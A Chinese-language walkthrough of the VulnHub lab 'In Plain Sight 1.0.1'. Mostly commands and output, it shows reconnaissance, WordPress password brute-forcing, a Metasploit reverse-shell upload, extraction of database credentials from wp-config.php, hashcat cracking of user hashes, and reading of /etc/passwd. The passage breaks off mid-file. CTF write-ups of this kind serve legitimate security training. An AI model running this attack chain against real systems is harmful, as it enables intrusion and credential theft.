| [图像验证与多重编码](#case-vulnhub-drunk-admin-web-hacking-challenge-1) | vulnhub-Drunk-Admin-Web-Hacking-Challenge-1 | 文件上传、编码、PHP |
| [后台资料与文件所有者枚举](#case-vulnhub-jis-ctf-vulnupload) | vulnhub-JIS-CTF-VulnUpload | 文件上传、凭据泄露、文件权限 |

<a id="case-in-plain-sight-1-0-1"></a>

## 图像入口、注释与系统凭据

上传验证、页面注释、编码文本和 WordPress 数据提供不同线索，后半段继续分析本地账户与 SUID 程序。

<p class="kb-provenance">来源 In-Plain-Sight-1-0-1 · 原记录 2020-01-10 · 26 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-in-plain-sight-1-0-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start In-Plain-Sight-1-0-1 -->

#### 名称
名称：In Plain Sight: 1.0.1
发布日期：2019年12月2日

#### 下载

 - Download: https://drive.google.com/file/d/19BZkANMJDL421KkiHVePlzc3Oa3wwzHU/view?usp=sharing
 - Download (Mirror): https://download.vulnhub.com/inplainsight/inplainsight1.ova
 - Download (Torrent): https://download.vulnhub.com/inplainsight/inplainsight1.ova.torrent

#### 描述

级别：初学者-中级
说明：使用VirtualBox构建/测试。启用DHCP。需要root才能读取flag
 - Changelog 2019-12-02：v1.0.1 2019-11-22：v1.0



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.108
Host is up (0.00027s latency).
MAC Address: 08:00:27:48:A5:6E (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -p- -v -sV -Pn 192.168.56.108
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
```

``` bash
root@kali:~# ftp 192.168.56.108
Connected to 192.168.56.108.
220 IPS Corp
Name (192.168.56.108:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           306 Nov 22 13:42 todo.txt
226 Directory send OK.
ftp> cat todo.txt
?Invalid command
ftp> get todo.txt
local: todo.txt remote: todo.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for todo.txt (306 bytes).
226 Transfer complete.
306 bytes received in 0.02 secs (14.9999 kB/s)
ftp> quit
221 Goodbye.
```

``` bash
root@kali:~# cat todo.txt 
mike - please get ride of that worthless wordpress instance! it's a security ris
k.  if you have privilege issues, please ask joe for assitance.

joe - stop leaving backdoors on the system or your access will be removed! y
our rabiit holes aren't enough for these elite cyber hacking types.

- boss person
```

没有什么有用的信息，继续寻找敏感信息

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub149.jpg)

注意是index.htnl，打开此页面，随便点击一个地方

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub150.jpg)

出现如下的上传页面

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub151.jpg)

可以看到，该网页允许上传任何图像。因此，这里尝试上传图像，但成功了，但是当尝试上传.php文件时，网页给了一个错误。在进一步探索之后，该网页的URL引起了注意，可以看到它看起来像一个hash，因此我们将其复制并尝试使用john对其进行破解。

``` bash
root@kali:~# john pass
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
goodluck         (?)
1g 0:00:00:00 DONE 2/3 (2020-01-12 20:31) 20.00g/s 3680p/s 3680c/s 3680C/s emily..iceman
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed
```
john破解hash的结果是：goodluck
在这一点上，我们只是被拖钓了。然后，我们尝试上传一个简单的.php文件，而在上传.php文件时，我们遇到以下错误：

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub152.jpg)

但是这个错误导致我们进入了新页面“upload.php”。让我们检查此页面的源代码

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub153.jpg)

``` bash
<!--ZmxvY2NpbmF1Y2luaWhpbGlwaWxpZmljYXRpb24K-->
```

源代码末尾有一个注释。这是base64编码的文本，因此，使用以下命令对其进行解码：

``` bash
root@kali:~# echo ZmxvY2NpbmF1Y2luaWhpbGlwaWxpZmljYXRpb24K | base64 -d
floccinaucinihilipilification
```

不知道为什么这里解密字符串和结果和别人的walkthrough不一样，别人的是c28tZGV2LXdvcmRwcmVzcw==，解密出来是so-dev-wordpress

文本解码后，看起来像目录或网页。但是在探索之前，先看看是否有更多的页面。因此，使用dirbuster。

``` bash
root@kali:~# dirb http://192.168.56.108/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Jan 12 20:42:40 2020
URL_BASE: http://192.168.56.108/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.108/ ----
+ http://192.168.56.108/index.html (CODE:200|SIZE:10918)                                              
+ http://192.168.56.108/info.php (CODE:200|SIZE:84111)                                                
+ http://192.168.56.108/server-status (CODE:403|SIZE:279)                                             
==> DIRECTORY: http://192.168.56.108/wordpress/                                                       
                                                                                                      
---- Entering directory: http://192.168.56.108/wordpress/ ----
+ http://192.168.56.108/wordpress/index.php (CODE:301|SIZE:0)                                         
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/                                              
==> DIRECTORY: http://192.168.56.108/wordpress/wp-content/                                            
==> DIRECTORY: http://192.168.56.108/wordpress/wp-includes/                                           
+ http://192.168.56.108/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                       
                                                                                                      
---- Entering directory: http://192.168.56.108/wordpress/wp-admin/ ----
+ http://192.168.56.108/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/css/                                          
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/images/                                       
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/includes/                                     
+ http://192.168.56.108/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/js/                                           
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/maint/                                        
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/network/                                      
==> DIRECTORY: http://192.168.56.108/wordpress/wp-admin/user/                                         
                                                                                                      
---- Entering directory: http://192.168.56.108/wordpress/wp-content/ ----
+ http://192.168.56.108/wordpress/wp-content/index.php (CODE:200|SIZE:0)                              
==> DIRECTORY: http://192.168.56.108/wordpress/wp-content/plugins/                                    
==> DIRECTORY: http://192.168.56.108/wordpress/wp-content/themes/                                     
                                                                                                      
---- Entering directory: http://192.168.56.108/wordpress/wp-admin/network/ ----
+ http://192.168.56.108/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                        
+ http://192.168.56.108/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                        
                                                                                                      
---- Entering directory: http://192.168.56.108/wordpress/wp-admin/user/ ----
+ http://192.168.56.108/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                           
+ http://192.168.56.108/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                           
                                                                                                      
---- Entering directory: http://192.168.56.108/wordpress/wp-content/plugins/ ----
+ http://192.168.56.108/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                      
                                                                                                      
---- Entering directory: http://192.168.56.108/wordpress/wp-content/themes/ ----
+ http://192.168.56.108/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0) 
```

有很多页面，结果显示CMS是wordpress，因此，可以使用wpscan浏览提到wordpress的两个指定页面。为此，请使用以下命令：

``` bash
root@kali:~# wpscan --url http://192.168.56.108/wordpress/ --enumerate
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.6
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: http://192.168.56.108/wordpress/
[+] Started: Sun Jan 12 20:45:08 2020

Interesting Finding(s):

[+] http://192.168.56.108/wordpress/
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.56.108/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.56.108/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.56.108/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.3 identified (Insecure, released on 2019-11-12).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.56.108/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.56.108/wordpress/, Match: 'WordPress 5.3'

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:00 <=======================> (320 / 320) 100.00% Time: 00:00:00

[i] No themes Found.

[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:01 <=====================> (2568 / 2568) 100.00% Time: 00:00:01

[i] No Timthumbs Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==========================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:00 <==============================> (36 / 36) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
 Brute Forcing Attachment IDs - Time: 00:00:00 <===================> (100 / 100) 100.00% Time: 00:00:00

[i] No Medias Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=========================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] bossperson
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Sun Jan 12 20:45:16 2020
[+] Requests Done: 3094
[+] Cached Requests: 4
[+] Data Sent: 840.6 KB
[+] Data Received: 567.645 KB
[+] Memory used: 183.743 MB
[+] Elapsed time: 00:00:07
```

得到user为bossperson,同样，让枚举另一页。

``` bash
root@kali:~# wpscan --url http://192.168.56.108/so-dev-wordpress/ -U bossperson -P /usr/share/wordlists/dirb/common.txt
[+] Performing password attack on Wp Login against 1 user/s
Trying bossperson / zoom Time: 00:00:27 <========================> (4614 / 4614) 100.00% Time: 00:00:27

[i] No Valid Passwords Found.
```

找不到任何密码，但是不用担心，因为可以在另一页上运行相同的命令，请输入以下内容进行尝试：

``` bash
root@kali:~# wpscan --url http://192.168.56.108/so-dev-wordpress/ --enumerate
[i] User(s) Identified:

[+] mike
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```
找到用户名之后，运行下面的命令爆破密码：

``` bash
root@kali:~# wpscan --url http://192.168.56.108/so-dev-wordpress/ -U admin,mike -P /usr/share/wordlists/dirb/common.txt
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - admin / admin1                                                                             
Trying mike / zope Time: 00:00:36 <==============================> (4914 / 4914) 100.00% Time: 00:00:36

[i] Valid Combinations Found:
 | Username: admin, Password: admin1
```

#### getshell

得到admin/admin1,终于找到了用户admin的密码。现在，使用msfconsole上传shell。通过Metasploit，使用exploit/unix/webapp/wp_admin_shell_upload。

``` bash
root@kali:~# msfdb run
[+] Starting database
                                                  

  Metasploit Park, System Security Interface                                                           
  Version 4.0.5, Alpha E                                                                               
  Ready...                                                                                             
  > access security                                                                                    
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!                                                                       
  YOU DIDN'T SAY THE MAGIC WORD!                                                                       
  YOU DIDN'T SAY THE MAGIC WORD!                                                                       
  YOU DIDN'T SAY THE MAGIC WORD!                                                                       
  YOU DIDN'T SAY THE MAGIC WORD!                                                                       
  YOU DIDN'T SAY THE MAGIC WORD!                                                                       


       =[ metasploit v5.0.68-dev                          ]
+ -- --=[ 1957 exploits - 1093 auxiliary - 336 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set Pa
set PaSSWORD  set PaYLOAD   
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set PA
set PASSWORD  set PAYLOAD   
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin1
PASSWORD => admin1
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 192.168.56.108
rhost => 192.168.56.108
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set TARGET
set TARGET     set TARGETURI  
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /so-dev-wordpress
TARGETURI => /so-dev-wordpress
msf5 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 192.168.56.102:4444 
[*] Authenticating with WordPress using admin:admin1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /so-dev-wordpress/wp-content/plugins/RnhGIdzuxq/oElblRDrKY.php...
[*] Sending stage (38288 bytes) to 192.168.56.108
[*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.108:60668) at 2020-01-12 22:03:59 -0500
[+] Deleted oElblRDrKY.php
[+] Deleted RnhGIdzuxq.php
[+] Deleted ../RnhGIdzuxq

meterpreter > id
[-] Unknown command: id.
meterpreter > sysinfo
Computer    : inplainsight
OS          : Linux inplainsight 5.3.0-23-generic #25-Ubuntu SMP Tue Nov 12 09:22:33 UTC 2019 x86_64
Meterpreter : php/linux
```

成功使用msf拿到了shell，获得标准输出的shell

``` bash
meterpreter > shell
Process 1396 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/sh")'
sh: 0: getcwd() failed: No such file or directory
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
whoami
www-data
```

探索

``` bash
$ ls
ls
$ pwd
pwd

$ pwd
pwd

$ cd ..
cd ..
$ ls
ls
akismet  hello.php  index.php
$ pwd
pwd
/var/www/html/so-dev-wordpress/wp-content/plugins
$ 

$ cd ../..
cd ../..
$ ls
ls
index.php        wp-blog-header.php    wp-cron.php        wp-mail.php
license.txt      wp-comments-post.php  wp-includes        wp-settings.php
readme.html      wp-config-sample.php  wp-links-opml.php  wp-signup.php
wp-activate.php  wp-config.php         wp-load.php        wp-trackback.php
wp-admin         wp-content            wp-login.php       xmlrpc.php
$ pwd
pwd
/var/www/html/so-dev-wordpress
$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'sodevwp' );

/** MySQL database username */
define( 'DB_USER', 'sodevwp' );

/** MySQL database password */
define( 'DB_PASSWORD', 'oZ2R3c2x7dLL6#hJ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'b_P>20/J+HW!D1-[XI1~~abSjE~8do)Rp]jt/~Q0s-6/!U,Norv{.+1xOh5+gnPr' );
define( 'SECURE_AUTH_KEY',  'nbfna5q3cP5/Gfaa`H`4{SklZTx+inPmf*uh!boz=K`bUSldsl?m`-{0FZ9Kdw4$' );
define( 'LOGGED_IN_KEY',    'UC8f4{^Z[9co/>[n*opw @Dtss(?~[dBQ/Xtbm8&/rx1{=Y^obQY`DE7ZYmHwSQT' );
define( 'NONCE_KEY',        'Z)O2rZ_IT6fNshPKa^RB:2?EU%a|tV91z,mWU$rfsoFnbUVKp4l;+z lrN4~T(9h' );
define( 'AUTH_SALT',        ']C-xQeq^*m$$yt:oLqg>b?+teMLO7~<#|j@(n/K~L!4 n{UCp%|$;;[_@6u]PHxT' );
define( 'SECURE_AUTH_SALT', '(rtGT9%Jv uX95E&!tdiTZ7X19u:ak_B_L@YOeRq6eLf.bWV{7|0Kn2JjOmk~[~l' );
define( 'LOGGED_IN_SALT',   '1cC3onJs2/0; 5R91DS]m>i|-P1<SaQqUN3Lg`u|4{]aH826Fnt*,[RY?{y0JGeG' );
define( 'NONCE_SALT',       '6a?qf^w0Q1D{%!Y_HIO&#Kc-p19/p8~#*Zo~6NHyZqSgL7ws6=Vdg|*Hijk<7T4{' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'sodevwp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}

/** Sets up WordPress vars and included files. */
require_once( ABSPATH . 'wp-settings.php' );
```

现在有了数据库用户名和密码：

``` bash
/** The name of the database for WordPress */
define( 'DB_NAME', 'sodevwp' );

/** MySQL database username */
define( 'DB_USER', 'sodevwp' );

/** MySQL database password */
define( 'DB_PASSWORD', 'oZ2R3c2x7dLL6#hJ' );
```

``` bash
www-data@inplainsight:/var/www/html/so-dev-wordpress$ mysql -usodevwp -poZ2R3c2x7dLL6#hJ
<o-dev-wordpress$ mysql -usodevwp -poZ2R3c2x7dLL6#hJ  
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 9805
Server version: 10.3.20-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| sodevwp            |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [(none)]> use sodevwp;
use sodevwp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [sodevwp]> show tables;
show tables;
+----------------------------+
| Tables_in_sodevwp          |
+----------------------------+
| sodevwp_commentmeta        |
| sodevwp_comments           |
| sodevwp_links              |
| sodevwp_options            |
| sodevwp_postmeta           |
| sodevwp_posts              |
| sodevwp_term_relationships |
| sodevwp_term_taxonomy      |
| sodevwp_termmeta           |
| sodevwp_terms              |
| sodevwp_usermeta           |
| sodevwp_users              |
+----------------------------+
12 rows in set (0.000 sec)

MariaDB [sodevwp]> select * from sodevwp_users;
select * from sodevwp_users;
+----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email      | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$BD/ZmfBIhgjHKtkLpPKfhr2t5EDgZA. | admin         | admin@local.lan |          | 2019-11-22 03:41:57 |                     |           0 | admin        |
|  2 | mike       | $P$B3halPOgh4jqI1tDelkv5TGAHnaOC01 | mike          | mike@local.lan  |          | 2019-11-22 03:44:25 |                     |           0 | mike         |
+----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.001 sec)
```

成功使用上述命令后，将发现以下两个hash值：

``` bash
$P$BD/ZmfBIhgjHKtkLpPKfhr2t5EDgZA.(admin)
$P$B3halPOgh4jqI1tDelkv5TGAHnaOC01(mike)
```

将2条hash值保存后，用hashcat破解如下所示，电脑是GTX-1070 8GB显存的显卡，一秒出密码，非常给力，比用john破解快多了

``` bash
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 400 password.txt D:/wordlists/rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: Intel's OpenCL runtime (GPU only) is currently broken.
             We are waiting for updated OpenCL drivers from Intel.
             You can use --force to override, but do not report related errors.
* Device #3: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlInit(): Unknown Error

OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) UHD Graphics 630, skipped.
* Device #2: Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, skipped.

OpenCL Platform #2: NVIDIA Corporation
======================================
* Device #3: GeForce GTX 1070, 2048/8192 MB allocatable, 16MCU

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Temperature abort trigger set to 90c

Dictionary cache hit:
* Filename..: D:/wordlists/rockyou.txt
* Passwords.: 14344360
* Bytes.....: 139921318
* Keyspace..: 14344360

$P$B3halPOgh4jqI1tDelkv5TGAHnaOC01:skuxdelux
$P$BD/ZmfBIhgjHKtkLpPKfhr2t5EDgZA.:admin1

Session..........: hashcat
Status...........: Cracked
Hash.Type........: phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5)
Hash.Target......: password.txt
Time.Started.....: Mon Jan 13 11:20:12 2020 (2 secs)
Time.Estimated...: Mon Jan 13 11:20:14 2020 (0 secs)
Guess.Base.......: File (D:/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#3.........:  1199.8 kH/s (6.61ms) @ Accel:512 Loops:128 Thr:64 Vec:1
Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.........: 1048576/28688720 (3.66%)
Rejected.........: 0/1048576 (0.00%)
Restore.Point....: 0/14344360 (0.00%)
Restore.Sub.#3...: Salt:1 Amplifier:0-1 Iteration:8064-8192
Candidates.#3....: 123456 -> chadj85
Hardware.Mon.#3..: N/A

Started: Mon Jan 13 11:20:09 2020
Stopped: Mon Jan 13 11:20:15 2020
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub154.jpg)

得到两个密码：
admin/admin1
mike/skuxdelux

现在，将用户切换为Mike，可以如下观察到可以成功完成操作,这意味着破解密码成功。

``` bash
www-data@inplainsight:/var/www/html/so-dev-wordpress$ su admin
su admin
su: user admin does not exist
www-data@inplainsight:/var/www/html/so-dev-wordpress$ 

www-data@inplainsight:/var/www/html/so-dev-wordpress$ su mike
su mike
Password: skuxdelux

mike@inplainsight:/var/www/html/so-dev-wordpress$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike)
mike@inplainsight:/var/www/html/so-dev-wordpress$ whoami
whoami
mike
```

#### 提权

继续进行特权升级。现在，当您将目录更改为/home时，会发现一个新用户“joe”并且不浪费任何时间，我们遍历了/etc/passwd。


``` bash
mike@inplainsight:~$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike,,,:/home/mike:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
postfix:x:112:120::/var/spool/postfix:/usr/sbin/nologin
ftp:x:113:122:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
joe:x:1001:1001:hyphens rule:/home/joe:/bin/bash
```

没有发现joe用户的密码，继续遍历passwd-

``` bash
mike@inplainsight:/etc$ cat passwd-
cat passwd-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
